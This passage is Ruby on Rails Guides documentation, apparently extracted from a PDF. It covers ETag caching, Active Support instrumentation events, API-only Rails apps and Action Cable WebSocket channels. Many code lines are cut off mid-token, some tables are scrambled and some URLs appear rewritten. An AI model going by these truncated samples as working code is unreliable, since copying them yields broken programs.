If the browser makes a request where the content identifier (etag) or last
modified since timestamp matches the server's version then the server only
needs to send back an empty response with a not modified status.
It is the server's (i.e. our) responsibility to look for a last modified
timestamp and the if-none-match header and determine whether or not to
send back the full response. With conditional-get support in Rails this is a
pretty easy task:
class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])

# If the request is stale according to the given timestamp a

# (i.e. it needs to be processed again) then execute this bl
if stale?(last_modified: @product.updated_at.utc, etag: @pro
respond_to do |wants|
# ... normal response processing
end
end

# If the request is fresh (i.e. it's not modified) then you

# anything. The default render checks for this using the par
# used in the previous call to stale? and will automatically
# :not_modified. So that's it, you're done.
end
end

Instead of an options hash, you can also simply pass in a model. Rails will
use the updated_at and cache_key methods for setting last_modified
and etag:
class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])
if stale?(@product)
respond_to do |wants|
# ... normal response processing
end
end
end
end

If you don't have any special response processing and are using the default
rendering mechanism (i.e. you're not using respond_to or calling render
yourself) then you've got an easy helper in fresh_when:
class ProductsController < ApplicationController

# This will automatically send back a :not_modified if the req

# and will render the default template (product.*) if it's sta

def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, etag: @
end
end

4.1 Strong v/s Weak ETags

Rails generates weak ETags by default. Weak ETags allow semantically
equivalent responses to have the same ETags, even if their bodies do not

match exactly. This is useful when we don't want the page to be

regenerated for minor changes in response body.
Weak ETags have a leading W/ to differentiate them from strong ETags.
W/"618bbc92e2d35ea1945008b42799b0e7" Weak ETag
"618bbc92e2d35ea1945008b42799b0e7" Strong ETag

Unlike weak ETag, strong ETag implies that response should be exactly
the same and byte by byte identical. Useful when doing Range requests
within a large video or PDF file. Some CDNs support only strong ETags,
like Akamai. If you absolutely need to generate a strong ETag, it can be
done as follows.

class ProductsController < ApplicationController

def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, stron
end
end

You can also set the strong ETag directly on the response.

response.strong_etag = response.body # => "618bbc92e2d35ea1945

5 References
DHH's article on key-based expiration
Ryan Bates' Railscast on cache digests

Active Support Instrumentation

Ruby...

1 Introduction to instrumentation
The instrumentation API provided by Active Support allows developers to
provide hooks which other developers may hook into. There are several of
these within the Rails framework. With this API, developers can choose to
be notified when certain events occur inside their application or another
piece of Ruby code.
For example, there is a hook provided within Active Record that is called
every time Active Record uses an SQL query on a database. This hook
could be subscribed to, and used to track the number of queries during a
certain action. There's another hook around the processing of an action of a
controller. This could be used, for instance, to track how long a specific
action has taken.
You are even able to create your own events inside your application which
you can later subscribe to.

2 Rails framework hooks

Within the Ruby on Rails framework, there are a number of hooks
provided for common events. These are detailed below.

3 Action Controller
3.1 write_fragment.action_controller
Key

Value
:key The complete key
{
key: 'posts/1-dashboard-view'
}

3.2 read_fragment.action_controller
Key

Value
:key The complete key
{
key: 'posts/1-dashboard-view'
}

3.3 expire_fragment.action_controller
Key

Value
:key The complete key
{
key: 'posts/1-dashboard-view'
}

3.4 exist_fragment?.action_controller
Key

Value

:key The complete key

{
key: 'posts/1-dashboard-view'
}

3.5 write_page.action_controller
Key

Value
:path The complete path
{
path: '/users/1'
}

3.6 expire_page.action_controller
Key

Value
:path The complete path
{
path: '/users/1'
}

3.7 start_processing.action_controller
Key

Value

:controller The controller name

:action
:params
:headers
:format

The action
Hash of request parameters without any filtered parameter
Request headers
html/js/json/xml etc

:method
:path

HTTP request verb

Request path

{
controller: "PostsController",
action: "new",
params: { "action" => "new", "controller" => "posts" },
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts/new"
}

3.8 process_action.action_controller
Key

Value

The controller name

:action
The action
:params
Hash of request parameters without any filtered parameter
:headers
Request headers
:format
html/js/json/xml etc
:method
HTTP request verb
:path
Request path
:status
HTTP status code
:view_runtime Amount spent in view in ms
:db_runtime Amount spent executing database queries in ms
:controller

{
controller: "PostsController",
action: "index",
params: {"action" => "index", "controller" => "posts"},
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts",

status: 200,
view_runtime: 46.848,
db_runtime: 0.157
}

3.9 send_file.action_controller
Key

Value
:path Complete path to the file
Additional keys may be added by the caller.
3.10 send_data.action_controller
ActionController does not had any specific information to the payload.

All options are passed through to the payload.

3.11 redirect_to.action_controller
Key

Value
:status HTTP response code
:location URL to redirect to
{
status: 302,
location: "http://localhost:3000/posts/new"
}

3.12 halted_callback.action_controller
Key

Value
:filter Filter that halted the action

{
filter: ":halting_filter"
}

4 Action View
4.1 render_template.action_view
Key

Value
:identifier Full path to template
:layout
Applicable layout

{
identifier: "/Users/adam/projects/notifications/app/views/post
layout: "layouts/application"
}

4.2 render_partial.action_view
Key

Value
:identifier Full path to template

{
identifier: "/Users/adam/projects/notifications/app/views/post
}

5 Active Record
5.1 sql.active_record
Key
:sql
:name

Value
SQL statement
Name of the operation

:connection_id self.object_id
:binds
Bind parameters

The adapters will add their own data as well.

{
sql: "SELECT \"posts\".* FROM \"posts\" ",
name: "Post Load",
connection_id: 70307250813140,
binds: []
}

5.2 instantiation.active_record
Key

Value
:record_count Number of records that instantiated
:class_name Record's class
{
record_count: 1,
class_name: "User"
}

6 Action Mailer
6.1 receive.action_mailer
Key

Value
:mailer
Name of the mailer class
:message_id ID of the message, generated by the Mail gem
:subject
Subject of the mail
:to
To address(es) of the mail
:from
From address of the mail
:bcc
BCC addresses of the mail
:cc
CC addresses of the mail
:date
Date of the mail
:mail
The encoded form of the mail

{
mailer: "Notification",
message_id: "[email protected]
subject: "Rails Guides",
to: ["[email protected]", "[email protected]"],
from: ["[email protected]"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "..." # omitted for brevity
}

6.2 deliver.action_mailer
Key

Value
:mailer
Name of the mailer class
:message_id ID of the message, generated by the Mail gem
:subject
Subject of the mail
:to
To address(es) of the mail

:from
:bcc
:cc
:date
:mail

From address of the mail

BCC addresses of the mail
CC addresses of the mail
Date of the mail
The encoded form of the mail

7 Active Support
7.1 cache_read.active_support
Key

Value
:key
Key used in the store
:hit
If this read is a hit
:super_operation :fetch is added when a read is used with #fetch
7.2 cache_generate.active_support
This event is only used when #fetch is called with a block.
Key

Value
:key Key used in the store
Options passed to fetch will be merged with the payload when writing to
the store
{
key: 'name-of-complicated-computation'
}

7.3 cache_fetch_hit.active_support
This event is only used when #fetch is called with a block.
Key

Value
:key Key used in the store
Options passed to fetch will be merged with the payload.

{
key: 'name-of-complicated-computation'
}

7.4 cache_write.active_support
Key

Value
:key Key used in the store
Cache stores may add their own keys
{
key: 'name-of-complicated-computation'
}

7.5 cache_delete.active_support
Key

Value
:key Key used in the store
{
key: 'name-of-complicated-computation'
}

7.6 cache_exist?.active_support
Key

Value
:key Key used in the store
{
key: 'name-of-complicated-computation'
}

8 Active Job
8.1 enqueue_at.active_job
Key

Value
:adapter QueueAdapter object processing the job
:job
Job object
8.2 enqueue.active_job
Key

Value
:adapter QueueAdapter object processing the job
:job
Job object
8.3 perform_start.active_job
Key

Value
:adapter QueueAdapter object processing the job
:job
Job object
8.4 perform.active_job
Key

Value
:adapter QueueAdapter object processing the job
:job
Job object

9 Railties
9.1 load_config_initializer.railties
Key

Value
:initializer Path to loaded initializer from config/initializers

10 Rails
10.1 deprecation.rails
Key

Value
:message The deprecation warning
:callstack Where the deprecation came from

11 Subscribing to an event
Subscribing to an event is easy. Use
ActiveSupport::Notifications.subscribe with a block to listen to any

notification.
The block receives the following arguments:
The name of the event
Time when it started
Time when it finished
A unique ID for this event
The payload (described in previous sections)

ActiveSupport::Notifications.subscribe "process_action.action_co
# your own custom stuff
Rails.logger.info "#{name} Received!"
end

Defining all those block arguments each time can be tedious. You can
easily create an ActiveSupport::Notifications::Event from block
arguments like this:

ActiveSupport::Notifications.subscribe "process_action.action_co
event = ActiveSupport::Notifications::Event.new *args
event.name # => "process_action.action_controller"
event.duration # => 10 (in milliseconds)
event.payload # => {:extra=>information}
Rails.logger.info "#{event} Received!"
end

Most times you only care about the data itself. Here is a shortcut to just get
the data.

ActiveSupport::Notifications.subscribe "process_action.action_co
data = args.extract_options!
data # { extra: :information }
end

You may also subscribe to events matching a regular expression. This

enables you to subscribe to multiple events at once. Here's you could
subscribe to everything from ActionController.

ActiveSupport::Notifications.subscribe /action_controller/ do |*
# inspect all ActionController events
end

12 Creating custom events

Adding your own events is easy as well. ActiveSupport::Notifications
will take care of all the heavy lifting for you. Simply call instrument with
a name, payload and a block. The notification will be sent after the block
returns. ActiveSupport will generate the start and end times as well as the
unique ID. All data passed into the instrument call will make it into the
payload.
Here's an example:

ActiveSupport::Notifications.instrument "my.custom.event", this:

# do your custom stuff here
end

Now you can listen to this event with:

ActiveSupport::Notifications.subscribe "my.custom.event" do |nam

puts data.inspect # {:this=>:data}
end

You should follow Rails conventions when defining your own events. The
format is: event.library. If you application is sending Tweets, you
should create an event named tweet.twitter.

A Guide to Profiling Rails...

Using Rails for API-only

Applications...

1 What is an API Application?

Traditionally, when people said that they used Rails as an "API", they
meant providing a programmatically accessible API alongside their web
application. For example, GitHub provides an API that you can use from
your own custom clients.
With the advent of client-side frameworks, more developers are using
Rails to build a back-end that is shared between their web application and
other native applications.
For example, Twitter uses its public API in its web application, which is
built as a static site that consumes JSON resources.
Instead of using Rails to generate HTML that communicates with the
server through forms and links, many developers are treating their web
application as just an API client delivered as HTML with JavaScript that
consumes a JSON API.
This guide covers building a Rails application that serves JSON resources
to an API client, including client-side frameworks.

2 Why Use Rails for JSON APIs?

The first question a lot of people have when thinking about building a
JSON API using Rails is: "isn't using Rails to spit out some JSON
overkill? Shouldn't I just use something like Sinatra?".
For very simple APIs, this may be true. However, even in very HTMLheavy applications, most of an application's logic lives outside of the view
layer.
The reason most people use Rails is that it provides a set of defaults that
allows developers to get up and running quickly, without having to make a
lot of trivial decisions.
Let's take a look at some of the things that Rails provides out of the box
that are still applicable to API applications.
Handled at the middleware layer:
Reloading: Rails applications support transparent reloading. This
works even if your application gets big and restarting the server for
every request becomes non-viable.
Development Mode: Rails applications come with smart defaults for
development, making development pleasant without compromising
production-time performance.
Test Mode: Ditto development mode.
Logging: Rails applications log every request, with a level of
verbosity appropriate for the current mode. Rails logs in development
include information about the request environment, database queries,
and basic performance information.
Security: Rails detects and thwarts IP spoofing attacks and handles
cryptographic signatures in a timing attack aware way. Don't know
what an IP spoofing attack or a timing attack is? Exactly.
Parameter Parsing: Want to specify your parameters as JSON instead

of as a URL-encoded String? No problem. Rails will decode the

JSON for you and make it available in params. Want to use nested
URL-encoded parameters? That works too.
Conditional GETs: Rails handles conditional GET (ETag and LastModified) processing request headers and returning the correct
response headers and status code. All you need to do is use the
stale? check in your controller, and Rails will handle all of the
HTTP details for you.
HEAD requests: Rails will transparently convert HEAD requests into
GET ones, and return just the headers on the way out. This makes HEAD
work reliably in all Rails APIs.
While you could obviously build these up in terms of existing Rack
middleware, this list demonstrates that the default Rails middleware stack
provides a lot of value, even if you're "just generating JSON".
Handled at the Action Pack layer:
Resourceful Routing: If you're building a RESTful JSON API, you
want to be using the Rails router. Clean and conventional mapping
from HTTP to controllers means not having to spend time thinking
about how to model your API in terms of HTTP.
URL Generation: The flip side of routing is URL generation. A good
API based on HTTP includes URLs (see the GitHub Gist API for an
example).
Header and Redirection Responses: head :no_content and
redirect_to user_url(current_user) come in handy. Sure, you
could manually add the response headers, but why?
Caching: Rails provides page, action and fragment caching. Fragment
caching is especially helpful when building up a nested JSON object.
Basic, Digest, and Token Authentication: Rails comes with out-ofthe-box support for three kinds of HTTP authentication.
Instrumentation: Rails has an instrumentation API that triggers
registered handlers for a variety of events, such as action processing,

sending a file or data, redirection, and database queries. The payload

of each event comes with relevant information (for the action
processing event, the payload includes the controller, action,
parameters, request format, request method and the request's full
path).
Generators: It is often handy to generate a resource and get your
model, controller, test stubs, and routes created for you in a single
command for further tweaking. Same for migrations and others.
Plugins: Many third-party libraries come with support for Rails that
reduce or eliminate the cost of setting up and gluing together the
library and the web framework. This includes things like overriding
default generators, adding Rake tasks, and honoring Rails choices
(like the logger and cache back-end).
Of course, the Rails boot process also glues together all registered
components. For example, the Rails boot process is what uses your
config/database.yml file when configuring Active Record.
The short version is: you may not have thought about which parts of
Rails are still applicable even if you remove the view layer, but the answer
turns out to be most of it.

3 The Basic Configuration

If you're building a Rails application that will be an API server first and
foremost, you can start with a more limited subset of Rails and add in
features as needed.
3.1 Creating a new application
You can generate a new api Rails app:
$ rails new my_api --api

This will do three main things for you:

Configure your application to start with a more limited set of
middleware than normal. Specifically, it will not include any
middleware primarily useful for browser applications (like cookies
support) by default.
Make ApplicationController inherit from ActionController::API
instead of ActionController::Base. As with middleware, this will
leave out any Action Controller modules that provide functionalities
primarily used by browser applications.
Configure the generators to skip generating views, helpers and assets
when you generate a new resource.
3.2 Changing an existing application
If you want to take an existing application and make it an API one, read
the following steps.
In config/application.rb add the following line at the top of the
Application class definition:
config.api_only = true

In config/environments/development.rb, set
config.debug_exception_response_format to configure the format used
in responses when errors occur in development mode.
To render an HTML page with debugging information, use the value
:default.
config.debug_exception_response_format = :default

To render debugging information preserving the response format, use the

value :api.
config.debug_exception_response_format = :api

By default, config.debug_exception_response_format is set to :api,

when config.api_only is set to true.
Finally, inside app/controllers/application_controller.rb, instead
of:
class ApplicationController < ActionController::Base
end

do:
class ApplicationController < ActionController::API
end

4 Choosing Middleware
An API application comes with the following middleware by default:
Rack::Sendfile
ActionDispatch::Static
ActionDispatch::Executor
ActiveSupport::Cache::Strategy::LocalCache::Middleware
Rack::Runtime
ActionDispatch::RequestId
Rails::Rack::Logger
ActionDispatch::ShowExceptions
ActionDispatch::DebugExceptions
ActionDispatch::RemoteIp
ActionDispatch::Reloader
ActionDispatch::Callbacks
Rack::Head
Rack::ConditionalGet
Rack::ETag

See the internal middleware section of the Rack guide for further
information on them.
Other plugins, including Active Record, may add additional middleware.
In general, these middleware are agnostic to the type of application you are
building, and make sense in an API-only Rails application.
You can get a list of all middleware in your application via:
$ rails middleware

4.1 Using the Cache Middleware

By default, Rails will add a middleware that provides a cache store based
on the configuration of your application (memcache by default). This
means that the built-in HTTP cache will rely on it.
For instance, using the stale? method:
def show
@post = Post.find(params[:id])
if stale?(last_modified: @post.updated_at)
render json: @post
end
end

The call to stale? will compare the If-Modified-Since header in the

request with @post.updated_at. If the header is newer than the last
modified, this action will return a "304 Not Modified" response.
Otherwise, it will render the response and include a Last-Modified header
in it.
Normally, this mechanism is used on a per-client basis. The cache
middleware allows us to share this caching mechanism across clients. We
can enable cross-client caching in the call to stale?:
def show
@post = Post.find(params[:id])
if stale?(last_modified: @post.updated_at, public: true)
render json: @post
end
end

This means that the cache middleware will store off the Last-Modified
value for a URL in the Rails cache, and add an If-Modified-Since header
to any subsequent inbound requests for the same URL.

Think of it as page caching using HTTP semantics.

4.2 Using Rack::Sendfile
When you use the send_file method inside a Rails controller, it sets the
X-Sendfile header. Rack::Sendfile is responsible for actually sending
the file.
If your front-end server supports accelerated file sending, Rack::Sendfile
will offload the actual file sending work to the front-end server.
You can configure the name of the header that your front-end server uses
for this purpose using config.action_dispatch.x_sendfile_header in
the appropriate environment's configuration file.
You can learn more about how to use Rack::Sendfile with popular frontends in the Rack::Sendfile documentation.
Here are some values for popular servers, once they are configured, to
support accelerated file sending:
# Apache and lighttpd
config.action_dispatch.x_sendfile_header = "X-Sendfile"
# Nginx
config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"

Make sure to configure your server to support these options following the
instructions in the Rack::Sendfile documentation.
4.3 Using ActionDispatch::Request
ActionDispatch::Request#params will take parameters from the client in

the JSON format and make them available in your controller inside
params.

To use this, your client will need to make a request with JSON-encoded
parameters and specify the Content-Type as application/json.
Here's an example in jQuery:

jQuery.ajax({
type: 'POST',
url: '/people',
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({ person: { firstName: "Yehuda", lastName
success: function(json) { }
});

ActionDispatch::Request will see the Content-Type and your

parameters will be:

{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }

4.4 Other Middleware

Rails ships with a number of other middleware that you might want to use
in an API application, especially if one of your API clients is the browser:
Rack::MethodOverride
ActionDispatch::Cookies
ActionDispatch::Flash

For sessions management

ActionDispatch::Session::CacheStore
ActionDispatch::Session::CookieStore
ActionDispatch::Session::MemCacheStore

Any of these middleware can be added via:

config.middleware.use Rack::MethodOverride

4.5 Removing Middleware

If you don't want to use a middleware that is included by default in the
API-only middleware set, you can remove it with:
config.middleware.delete ::Rack::Sendfile

Keep in mind that removing these middleware will remove support for
certain features in Action Controller.

5 Choosing Controller Modules

An API application (using ActionController::API) comes with the
following controller modules by default:
ActionController::UrlFor: Makes url_for and similar helpers

available.
ActionController::Redirecting: Support for redirect_to.
AbstractController::Rendering and
ActionController::ApiRendering: Basic support for rendering.
ActionController::Renderers::All: Support for render :json

and friends.
ActionController::ConditionalGet: Support for stale?.
ActionController::BasicImplicitRender: Makes sure to return an

empty response if there's not an explicit one.

ActionController::StrongParameters: Support for parameters
white-listing in combination with Active Model mass assignment.
ActionController::ForceSSL: Support for force_ssl.
ActionController::DataStreaming: Support for send_file and
send_data.
AbstractController::Callbacks: Support for before_action and
similar helpers.
ActionController::Rescue: Support for rescue_from.
ActionController::Instrumentation: Support for the
instrumentation hooks defined by Action Controller (see the
instrumentation guide for more information regarding this).
ActionController::ParamsWrapper: Wraps the parameters hash into
a nested hash so you don't have to specify root elements sending
POST requests for instance.
Other plugins may add additional modules. You can get a list of all
modules included into ActionController::API in the rails console:
$ bin/rails c

>> ActionController::API.ancestors - ActionController::Metal.anc

5.1 Adding Other Modules

All Action Controller modules know about their dependent modules, so
you can feel free to include any modules into your controllers, and all
dependencies will be included and set up as well.
Some common modules you might want to add:
AbstractController::Translation: Support for the l and t

localization and translation methods.

ActionController::HttpAuthentication::Basic (or Digest or
Token): Support for basic, digest or token HTTP authentication.
ActionView::Layouts: Support for layouts when rendering.
ActionController::MimeResponds: Support for respond_to.
ActionController::Cookies: Support for cookies, which includes

support for signed and encrypted cookies. This requires the cookies
middleware.
The best place to add a module is in your ApplicationController, but
you can also add modules to individual controllers.

Ruby on Rails Guides

1 Introduction
Action Cable seamlessly integrates WebSockets with the rest of your Rails
application. It allows for real-time features to be written in Ruby in the
same style and form as the rest of your Rails application, while still being
performant and scalable. It's a full-stack offering that provides both a
client-side JavaScript framework and a server-side Ruby framework. You
have access to your full domain model written with Active Record or your
ORM of choice.

2 What is Pub/Sub
Pub/Sub, or Publish-Subscribe, refers to a message queue paradigm
whereby senders of information (publishers), send data to an abstract class
of recipients (subscribers), without specifying individual recipients. Action
Cable uses this approach to communicate between the server and many
clients.

3 Server-Side Components
3.1 Connections
Connections form the foundation of the client-server relationship. For
every WebSocket accepted by the server, a connection object is
instantiated. This object becomes the parent of all the channel
subscriptions that are created from there on. The connection itself does not
deal with any specific application logic beyond authentication and
authorization. The client of a WebSocket connection is called the
connection consumer. An individual user will create one consumerconnection pair per browser tab, window, or device they have open.
Connections are instances of ApplicationCable::Connection. In this
class, you authorize the incoming connection, and proceed to establish it if
the user can be identified.
3.1.1 Connection Setup

# app/channels/application_cable/connection.rb
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user
def connect
self.current_user = find_verified_user
end

protected
def find_verified_user
if current_user = User.find_by(id: cookies.signed[:user_
current_user
else
reject_unauthorized_connection
end
end
end
end

Here identified_by is a connection identifier that can be used to find the

specific connection later. Note that anything marked as an identifier will
automatically create a delegate by the same name on any channel instances
created off the connection.
This example relies on the fact that you will already have handled
authentication of the user somewhere else in your application, and that a
successful authentication sets a signed cookie with the user ID.
The cookie is then automatically sent to the connection instance when a
new connection is attempted, and you use that to set the current_user. By
identifying the connection by this same current user, you're also ensuring
that you can later retrieve all open connections by a given user (and
potentially disconnect them all if the user is deleted or deauthorized).
3.2 Channels
A channel encapsulates a logical unit of work, similar to what a controller
does in a regular MVC setup. By default, Rails creates a parent
ApplicationCable::Channel class for encapsulating shared logic between
your channels.
3.2.1 Parent Channel Setup

# app/channels/application_cable/channel.rb
module ApplicationCable
class Channel < ActionCable::Channel::Base
end
end

Then you would create your own channel classes. For example, you could
have a ChatChannel and an AppearanceChannel:

# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
end
# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
end

A consumer could then be subscribed to either or both of these channels.

3.2.2 Subscriptions

Consumers subscribe to channels, acting as subscribers. Their connection

is called a subscription. Produced messages are then routed to these
channel subscriptions based on an identifier sent by the cable consumer.
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
# Called when the consumer has successfully
# become a subscriber of this channel.
def subscribed
end
end

4 Client-Side Components
4.1 Connections
Consumers require an instance of the connection on their side. This can be
established using the following JavaScript, which is generated by default
by Rails:
4.1.1 Connect Consumer

// app/assets/javascripts/cable.js
//= require action_cable
//= require_self
//= require_tree ./channels
(function() {
this.App || (this.App = {});
App.cable = ActionCable.createConsumer();
}).call(this);

This will ready a consumer that'll connect against /cable on your server
by default. The connection won't be established until you've also specified
at least one subscription you're interested in having.
4.1.2 Subscriber

A consumer becomes a subscriber by creating a subscription to a given

channel:

# app/assets/javascripts/cable/subscriptions/chat.coffee
App.cable.subscriptions.create { channel: "ChatChannel", room: "
# app/assets/javascripts/cable/subscriptions/appearance.coffee
App.cable.subscriptions.create { channel: "AppearanceChannel" }

While this creates the subscription, the functionality needed to respond to

received data will be described later on.
A consumer can act as a subscriber to a given channel any number of
times. For example, a consumer could subscribe to multiple chat rooms at
the same time:

App.cable.subscriptions.create { channel: "ChatChannel", room: "

5 Client-Server Interactions
5.1 Streams
Streams provide the mechanism by which channels route published
content (broadcasts) to their subscribers.
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end

If you have a stream that is related to a model, then the broadcasting used
can be generated from the model and channel. The following example
would subscribe to a broadcasting like
comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE
class CommentsChannel < ApplicationCable::Channel
def subscribed
post = Post.find(params[:id])
stream_for post
end
end

You can then broadcast to this channel like this:

CommentsChannel.broadcast_to(@post, @comment)

5.2 Broadcasting
A broadcasting is a pub/sub link where anything transmitted by a
publisher is routed directly to the channel subscribers who are streaming
that named broadcasting. Each channel can be streaming zero or more

broadcastings.
Broadcastings are purely an online queue and time dependent. If a
consumer is not streaming (subscribed to a given channel), they'll not get
the broadcast should they connect later.
Broadcasts are called elsewhere in your Rails application:
WebNotificationsChannel.broadcast_to(
current_user,
title: 'New things!',
body: 'All the news fit to print'
)

The WebNotificationsChannel.broadcast_to call places a message in

the current subscription adapter (Redis by default)'s pubsub queue under a
separate broadcasting name for each user. For a user with an ID of 1, the
broadcasting name would be web_notifications_1.
The channel has been instructed to stream everything that arrives at
web_notifications_1 directly to the client by invoking the received
callback.
5.3 Subscriptions
When a consumer is subscribed to a channel, they act as a subscriber. This
connection is called a subscription. Incoming messages are then routed to
these channel subscriptions based on an identifier sent by the cable
consumer.

# app/assets/javascripts/cable/subscriptions/chat.coffee
# Assumes you've already requested the right to send web notific
App.cable.subscriptions.create { channel: "ChatChannel", room: "
received: (data) ->
@appendLine(data)

appendLine: (data) ->

html = @createLine(data)
$("[data-chat-room='Best Room']").append(html)
createLine: (data) ->
"""
<article class="chat-line">
<span class="speaker">#{data["sent_by"]}</span>
<span class="body">#{data["body"]}</span>
</article>
"""

5.4 Passing Parameters to Channels

You can pass parameters from the client side to the server side when
creating a subscription. For example:
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end

An object passed as the first argument to subscriptions.create becomes

the params hash in the cable channel. The keyword channel is required:

# app/assets/javascripts/cable/subscriptions/chat.coffee
App.cable.subscriptions.create { channel: "ChatChannel", room: "
received: (data) ->
@appendLine(data)
appendLine: (data) ->
html = @createLine(data)
$("[data-chat-room='Best Room']").append(html)
createLine: (data) ->
"""
<article class="chat-line">

<span class="speaker">#{data["sent_by"]}</span>
<span class="body">#{data["body"]}</span>
</article>
"""
# Somewhere in your app this is called, perhaps
# from a NewCommentJob.
ChatChannel.broadcast_to(
"chat_#{room}",
sent_by: 'Paul',
body: 'This is a cool chat app.'
)

5.5 Rebroadcasting a Message

A common use case is to rebroadcast a message sent by one client to any
other connected clients.
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
def receive(data)
ChatChannel.broadcast_to("chat_#{params[:room]}", data)
end
end

# app/assets/javascripts/cable/subscriptions/chat.coffee
App.chatChannel = App.cable.subscriptions.create { channel: "Cha
received: (data) ->
# data => { sent_by: "Paul", body: "This is a cool chat app.

App.chatChannel.send({ sent_by: "Paul", body: "This is a cool ch

The rebroadcast will be received by all connected clients, including the

client that sent the message. Note that params are the same as they were
when you subscribed to the channel.

6 Full-Stack Examples
The following setup steps are common to both examples:
1. Setup your connection.
2. Setup your parent channel.
3. Connect your consumer.
6.1 Example 1: User Appearances
Here's a simple example of a channel that tracks whether a user is online
or not and what page they're on. (This is useful for creating presence
features like showing a green dot next to a user name if they're online).
Create the server-side appearance channel:
# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
def subscribed
current_user.appear
end
def unsubscribed
current_user.disappear
end
def appear(data)
current_user.appear(on: data['appearing_on'])
end
def away
current_user.away
end
end

When a subscription is initiated the subscribed callback gets fired and we

take that opportunity to say "the current user has indeed appeared". That

appear/disappear API could be backed by Redis, a database, or whatever

else.
Create the client-side appearance channel subscription:

# app/assets/javascripts/cable/subscriptions/appearance.coffee
App.cable.subscriptions.create "AppearanceChannel",
# Called when the subscription is ready for use on the server.
connected: ->
@install()
@appear()
# Called when the WebSocket connection is closed.
disconnected: ->
@uninstall()
# Called when the subscription is rejected by the server.
rejected: ->
@uninstall()

appear: ->
# Calls `AppearanceChannel#appear(data)` on the server.
@perform("appear", appearing_on: $("main").data("appearing-o
away: ->
# Calls `AppearanceChannel#away` on the server.
@perform("away")

buttonSelector = "[data-behavior~=appear_away]"
install: ->
$(document).on "page:change.appearance", =>
@appear()
$(document).on "click.appearance", buttonSelector, =>
@away()
false
$(buttonSelector).show()
uninstall: ->

$(document).off(".appearance")
$(buttonSelector).hide()
6.1.1 Client-Server Interaction

1. Client connects to the Server via App.cable =

ActionCable.createConsumer("ws://cable.example.com").
(cable.js). The Server identifies this connection by current_user.

2. Client subscribes to the appearance channel via

App.cable.subscriptions.create(channel:
"AppearanceChannel"). (appearance.coffee)

3. Server recognizes a new subscription has been initiated for the

appearance channel and runs its subscribed callback, calling the
appear method on current_user. (appearance_channel.rb)
4. Client recognizes that a subscription has been established and calls
connected (appearance.coffee) which in turn calls @install and
@appear. @appear calls AppearanceChannel#appear(data) on the
server, and supplies a data hash of { appearing_on:
$("main").data("appearing-on") }. This is possible because the
server-side channel instance automatically exposes all public methods
declared on the class (minus the callbacks), so that these can be
reached as remote procedure calls via a subscription's perform
method.
5. Server receives the request for the appear action on the appearance
channel for the connection identified by current_user
(appearance_channel.rb). Server retrieves the data with the
:appearing_on key from the data hash and sets it as the value for the
:on key being passed to current_user.appear.
6.2 Example 2: Receiving New Web Notifications
The appearance example was all about exposing server functionality to
client-side invocation over the WebSocket connection. But the great thing
about WebSockets is that it's a two-way street. So now let's show an

example where the server invokes an action on the client.

This is a web notification channel that allows you to trigger client-side
web notifications when you broadcast to the right streams:
Create the server-side web notifications channel:
# app/channels/web_notifications_channel.rb
class WebNotificationsChannel < ApplicationCable::Channel
def subscribed
stream_for current_user
end
end

Create the client-side web notifications channel subscription:

# app/assets/javascripts/cable/subscriptions/web_notifications.c
# Client-side which assumes you've already requested
# the right to send web notifications.
App.cable.subscriptions.create "WebNotificationsChannel",
received: (data) ->
new Notification data["title"], body: data["body"]

Broadcast content to a web notification channel instance from elsewhere in

your application:

# Somewhere in your app this is called, perhaps from a NewCommen

WebNotificationsChannel.broadcast_to(
current_user,
title: 'New things!',
body: 'All the news fit to print'
)

The WebNotificationsChannel.broadcast_to call places a message in

the current subscription adapter's pubsub queue under a separate
broadcasting name for each user. For a user with an ID of 1, the

broadcasting name would be "web_notifications_1".

The channel has been instructed to stream everything that arrives at
"web_notifications_1" directly to the client by invoking the received
callback. The data passed as argument is the hash sent as the second
parameter to the server-side broadcast call, JSON encoded for the trip
across the wire, and unpacked for the data argument arriving to received.
6.3 More Complete Examples
See the rails/actioncable-examples repository for a full example of how to
setup Action Cable in a Rails app and adding channels.

7 Configuration
Action Cable has two required configurations: a subscription adapter and
allowed request origins.
7.1 Subscription Adapter
By default, Action Cable looks for a configuration file in
config/cable.yml. The file must specify an adapter and a URL for each
Rails environment. See the Dependencies section for additional
information on adapters.
development:
adapter: async
test:
adapter: async
production:
adapter: redis
url: redis://10.10.3.153:6381

7.2 Allowed Request Origins

Action Cable will only accept requests from specified origins, which are
passed to the server config as an array. The origins can be instances of
strings or regular expressions, against which a check for match will be
performed.

config.action_cable.allowed_request_origins = ['http://rubyonrai

To disable and allow requests from any origin:

config.action_cable.disable_request_forgery_protection = true

By default, Action Cable allows all requests from localhost:3000 when

running in the development environment.
7.3 Consumer Configuration
To configure the URL, add a call to action_cable_meta_tag in your
HTML layout HEAD. This uses a URL or path typically set via
config.action_cable.url in the environment configuration files.
7.4 Other Configurations
The other common option to configure is the log tags applied to the perconnection logger. Here's close to what we're using in Basecamp:
config.action_cable.log_tags = [
-> request { request.env['bc.account_id'] || "no-account" },
:action_cable,
-> request { request.uuid }
]

For a full list of all configuration options, see the

ActionCable::Server::Configuration class.
Also note that your server must provide at least the same number of
